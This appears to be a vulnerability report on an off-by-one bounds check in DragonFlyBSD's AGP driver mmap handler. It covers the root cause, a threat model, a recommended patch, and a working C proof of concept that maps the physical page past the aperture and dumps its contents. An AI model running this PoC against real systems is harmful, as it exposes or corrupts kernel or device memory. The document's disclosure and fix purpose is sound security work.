Summary

agp_mmap checks ap->a_offset > AGP_GET_APERTURE(dev) — strict greater-than. When userspace requests mmap at byte offset == aperture, the check passes and the kernel returns atop(aperture_base + aperture), the physical page immediately past the aperture resource, mapping that physical page into the caller's address space. The check must be >= (or, better, offset + PAGE_SIZE > aperture).

Root cause

agp.c:860:

if (ap->a_offset > AGP_GET_APERTURE(dev)) return EINVAL;

ap->a_offset is the per-page byte offset supplied by the VM system during a cdev mmap and is always page-aligned. The aperture is always a multiple of PAGE_SIZE (it is in MB). The boundary value ap->a_offset == AGP_GET_APERTURE(dev) is therefore page-aligned and slips through the strict >.

agp.c:862 then returns atop(rman_get_start(sc->as_aperture) + ap->a_offset), which for the boundary offset is the first physical page AFTER the resource reserved by bus_alloc_resource_any (agp.c:209-210). The returned physical page is outside the aperture's rman resource.

Threat model

Attacker has /dev/agpgart open (default root-only — same precondition as DF-1685) and calls mmap() with offset = aperture_size, length = PAGE_SIZE, PROT_READ|PROT_WRITE.

The kernel maps a physical page that lies just past the AGP aperture PCI BAR. Depending on the host bridge layout this is either:

• an adjacent PCI BAR (write flips device control bits)
• an empty PCI hole (reads return 0xFFFFFFFF, writes dropped — harmless)
• on systems where the aperture sits at the top of the 32-bit PCI MMIO window abutting lowmem/RAM — an arbitrary kernel RAM page, giving read+write access to 4 KiB of host memory that the caller did not otherwise have a mapping to

Information disclosure of up to 4 KiB of kernel/physical memory plus potential 4 KiB write primitive. Limited blast radius (single page, fixed offset relative to aperture) keeps this at Low, but it is a real bounds-check bug.

PoC

findings/poc/DF-1686/agp_mmap_oob.c:

/* agp_mmap_oob.c — minimal PoC, run as root on DragonFlyBSD with agp.ko loaded */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/agpio.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>

int main(void) {
    int fd = open("/dev/agpgart", O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    agp_info ai = {};
    ioctl(fd, AGPIOC_INFO, &ai);
    size_t aper = ((size_t)ai.aper_size) << 20;   /* MB -> bytes */
    printf("aperture=%zu bytes\n", aper);

    void *p = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, fd, aper);
    if (p == MAP_FAILED) { perror("mmap at aperture"); return 2; }

    printf("mapped the page PAST the aperture at %p — kernel returned OOB physical page\n", p);
    /* Dump first 64 bytes to demonstrate disclosure */
    unsigned char *c = p;
    for (int i = 0; i < 64; i++) {
        printf("%02x ", c[i]);
        if ((i & 15) == 15) puts("");
    }
    munmap(p, 4096);
    close(fd);
    return 0;
}

Build: cc -O2 -o agp_mmap_oob agp_mmap_oob.c. Run as root.

Success: mmap does NOT return EINVAL (proving the bounds check failed) and a hex dump of bytes from the page past the aperture is printed, demonstrating disclosure of off-aperture physical memory.

Recommended fix

--- a/sys/dev/agp/agp.c
+++ b/sys/dev/agp/agp.c
@@ -857,7 +857,8 @@ static int
 agp_mmap(struct dev_mmap_args *ap)
 {
    cdev_t kdev = ap->a_head.a_dev;
    device_t dev = kdev->si_drv1;
    struct agp_softc *sc = device_get_softc(dev);

-   if (ap->a_offset > AGP_GET_APERTURE(dev))
+   /* Reject any page that is not fully inside the aperture. */
+   if (ap->a_offset + PAGE_SIZE > AGP_GET_APERTURE(dev))
        return EINVAL;
    ap->a_result = atop(rman_get_start(sc->as_aperture) + ap->a_offset);
    return 0;
 }